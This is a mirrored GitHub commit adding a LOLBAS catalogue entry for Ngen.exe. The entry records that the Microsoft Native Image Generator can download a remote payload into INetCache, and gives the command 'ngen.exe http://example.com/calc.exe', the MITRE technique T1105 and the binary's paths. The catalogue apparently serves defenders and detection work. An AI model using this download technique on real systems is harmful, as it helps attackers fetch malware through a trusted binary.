1
0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2024-09-18 09:41:34 +02:00

Add Ngen.exe (#357)

Co-authored-by: Wietze <wietze@users.noreply.github.com>
This commit is contained in:
Avihay Eldad 2024-07-15 22:59:23 +03:00 committed by GitHub
parent da4f6e5407
commit 74ffaa534f
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

23
yml/OSBinaries/Ngen.yml Normal file
View File

@ -0,0 +1,23 @@
---
Name: Ngen.exe
Description: Microsoft Native Image Generator.
Author: Avihay Eldad
Created: 2024-02-19
Commands:
- Command: ngen.exe http://example.com/calc.exe
Description: Downloads payload from remote server using the Microsoft Native Image Generator utility.
Usecase: It will download a remote payload and place it in INetCache.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
Tags:
- Download: INetCache
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.xxx\ngen.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.xxx\ngen.exe
- Path: C:\Windows\Microsoft.NET\Framework\v4.0.xxx\ngen.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.xxx\ngen.exe
Acknowledgement:
- Person: Avihay Eldad
Handle: '@AvihayEldad'